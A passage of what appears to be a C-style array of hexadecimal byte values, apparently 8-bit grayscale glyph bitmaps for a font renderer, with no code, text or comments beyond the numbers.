0xDF, 0xFF, 0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x16, 0xFE, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xEF, 0xEF, 0x91, 0x00, 0x6A, 0x6E, 0x6E, 0x9A,
0xFF, 0xFF, 0xFF, 0x82, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x0B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFA, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x27, 0x52, 0x52, 0x52, 0xD1, 0xFF, 0xFF, 0xB8, 0x52, 0x52, 0x52, 0x52, 0x52, 0x52, 0x52, 0x52,
0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0x90, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F,
0x73, 0x73, 0xDB, 0xFF, 0xFF, 0xC2, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x0C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x17,
0x5B, 0x5B, 0x47, 0x25, 0x4D, 0x4D, 0x4D, 0x87, 0xFF, 0xFF, 0xFF, 0x5E, 0x4D, 0x4D, 0x4D, 0x4D,
0x4D, 0x4D, 0x4D, 0x29, 0x00, 0x00, 0x6B, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x18, 0xFE,
0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF,
0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x12, 0xF5, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF,
0xFF, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFB, 0x1B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x29, 0xF9, 0xFF, 0xFF, 0xE9, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x64, 0xFF, 0xFF, 0xFF, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xFF,
0xEE, 0x53, 0x11, 0x00, 0x00, 0x19, 0x70, 0xFD, 0xFF, 0xFF, 0xF2, 0x16, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x05, 0xD2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xDA, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFE, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xBF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x4E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x02, 0x78, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD3, 0x2C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x3C, 0x6E, 0x9A,
0x81, 0x4B, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0x49, 0x00, 0xBB, 0xC8, 0xC8, 0xC2, 0x07, 0x00, 0x00, 0x00, 0x00, 0x62,
0xC8, 0xC8, 0xC8, 0x58, 0x43, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x64,
0x00, 0xF6, 0xFF, 0xFF, 0xFF, 0x53, 0x00, 0x00, 0x00, 0x00, 0xCF, 0xFF, 0xFF, 0xFF, 0x77, 0x24,
0x9E, 0x9E, 0x9E, 0xC3, 0xFF, 0xFF, 0xD0, 0x9E, 0x9E, 0x9E, 0x39, 0x00, 0xF6, 0xFF, 0xFF, 0xFF,
0xAE, 0x00, 0x00, 0x00, 0x2C, 0xFF, 0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF,
0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xFF, 0xFF, 0xFF, 0xF9, 0x11, 0x00, 0x00, 0x88,
0xFF, 0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF6, 0xFF, 0xDA, 0xFF, 0xFF, 0x65, 0x00, 0x01, 0xE2, 0xFF, 0xDB, 0xFF, 0xFF, 0x77,
0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xFF, 0xA4,
0xDD, 0xFF, 0xC0, 0x00, 0x40, 0xFF, 0xFF, 0x83, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x54,
0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xFF, 0xA4, 0x85, 0xFF, 0xFE, 0x1D, 0x9C,
0xFF, 0xF8, 0x32, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0x75, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF6, 0xFF, 0xA4, 0x2D, 0xFF, 0xFF, 0x7F, 0xF0, 0xFF, 0xB0, 0x23, 0xFF, 0xFF,
0x77, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xFF,
0xA4, 0x00, 0xD4, 0xFF, 0xFF, 0xFF, 0xFF, 0x58, 0x23, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00,
0x54, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xFF, 0xA4, 0x00, 0x7C, 0xFF, 0xFF,
0xFF, 0xF5, 0x0B, 0x23, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0x75, 0x00,
0x00, 0x00, 0x00, 0x00, 0xF6, 0xFF, 0xA4, 0x00, 0x24, 0xFF, 0xFF, 0xFF, 0xA8, 0x00, 0x23, 0xFF,
0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x54, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6,
0xFF, 0xA4, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0x50, 0x00, 0x23, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00,
0x00, 0x31, 0xA5, 0xA5, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xA5, 0x65, 0x00, 0x00, 0x55,
0xA6, 0xA3, 0x07, 0x00, 0x12, 0xA5, 0xA5, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x45,
0x6D, 0x6E, 0x4A, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xF5,
0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x8B, 0xFF, 0xF9, 0xDA, 0xFD, 0xFF, 0xFF, 0xF8, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x02, 0x80, 0x1F, 0x00, 0x3B, 0xF2, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xF8, 0x0E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFC, 0xFF, 0xFF, 0x5D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC5, 0xFF, 0xFF, 0xB3, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF, 0xE6,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF,
0xFB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x24, 0x2D, 0x10, 0x00, 0x00, 0x66, 0xFF,
0xFF, 0xFF, 0x13, 0x00, 0x00, 0x00, 0x00, 0x44, 0xB7, 0xF0, 0xFF, 0xFF, 0xFF, 0xB3, 0x20, 0x4D,
0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x63, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0,
0x4A, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xEA, 0xFF, 0xFF, 0xFF, 0x36, 0x00, 0x14, 0xF1, 0xFF, 0xFF, 0xFF, 0xBD, 0x47, 0x20, 0x5A,
0xE9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1A, 0x00, 0x91, 0xFF, 0xFF, 0xFF, 0xB5, 0x07, 0x00, 0x00,
0x00, 0x25, 0xF8, 0xFF, 0xFF, 0xFF, 0xFB, 0x02, 0x03, 0xF7, 0xFF, 0xFF, 0xF8, 0x1B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x27, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xC4, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x65, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xFF, 0x7C, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x58,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0xFD, 0x1C, 0x00, 0x3F, 0xFF, 0xFF, 0xFF,
0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xDD, 0xFF, 0xFF, 0xB7, 0x00, 0x00, 0x17, 0xFF, 0xFF,
0xFF, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x00, 0x00, 0xCE,
0xFF, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x48, 0xF6, 0xFF, 0xFF, 0xCC, 0x04, 0x00, 0x00, 0x00,
0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xB4, 0x79, 0xA8, 0xF9, 0xFF, 0xFF, 0xF6, 0x29, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x49, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x73, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC8, 0x33, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x59, 0x8E, 0x97, 0x74, 0x3C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xB5, 0xC8, 0xC8, 0xC8,
0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x39, 0xFF, 0xFF, 0xFF, 0xFF, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x0C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xE9, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x46, 0xFF, 0xFF, 0xFF, 0xEB, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0xC8, 0x74, 0xFF, 0xFF, 0xFC,
0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xF1, 0xFF,
0xFF, 0x73, 0x1D, 0xFE, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0xC3, 0xFF, 0xFF, 0xCA, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x6A,
0xFF, 0xFF, 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF7,
0xFF, 0xFF, 0x74, 0x00, 0x00, 0x15, 0xFC, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xFF, 0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xDB,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBA, 0xFF, 0xFF, 0xCA, 0x00, 0x00,
0x00, 0x00, 0x60, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17,
0xFC, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF8, 0xFF, 0xFF, 0x92, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAF,
0xFF, 0xFF, 0xE9, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0xFF, 0xFF, 0xCB, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x22, 0xFF, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xF3, 0xFF, 0xFF, 0xA4,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xFF, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xF4, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xCC,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00,
0x00, 0x2D, 0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED,
0xFF, 0xFF, 0xB6, 0x00, 0x00, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFB, 0x16, 0x00, 0x00, 0x01, 0xE0, 0xFF, 0xFF,
0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x6D,
0x00, 0x00, 0x3B, 0xFF, 0xFF, 0xFF, 0x91, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19,
0x19, 0x1C, 0xF4, 0xFF, 0xFF, 0xC8, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x24, 0x04, 0xEA, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x7F, 0x37, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x8D, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0x37, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x4D, 0x55, 0x7B, 0x7B, 0xE9, 0xFF, 0xFF, 0xFC, 0x7B, 0x7B, 0x7B, 0x7B, 0x7B,
0x7B, 0x7B, 0x7B, 0x7B, 0x7B, 0xB1, 0xFF, 0xFF, 0xFF, 0xB1, 0x7B, 0x7B, 0x20, 0x00, 0x00, 0x00,
0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF,
0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF,
0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB,
0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF,
0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E,
0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF,
0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF,
0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF,
0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF,
0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB,
0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF,
0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC2, 0xFA, 0xFA, 0xE6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57,
0xFA, 0xFA, 0xFA, 0x56, 0x00, 0x00, 0x00, 0x19, 0xC7, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0x42, 0x26, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5B, 0x26,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x5B, 0x16, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0x7C, 0x7B, 0x7B, 0x7B, 0x7B, 0x7B, 0x7B,
0x7B, 0x7B, 0x7B, 0x7B, 0x7B, 0x7B, 0x27, 0x00, 0x45, 0xFA, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFF, 0xFF,
0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0xFB, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xFF, 0xF4, 0x34, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xAF, 0xFF, 0xFF, 0xFF,
0xE9, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x09, 0xC6, 0xFF, 0xFF, 0xFF, 0xDA, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
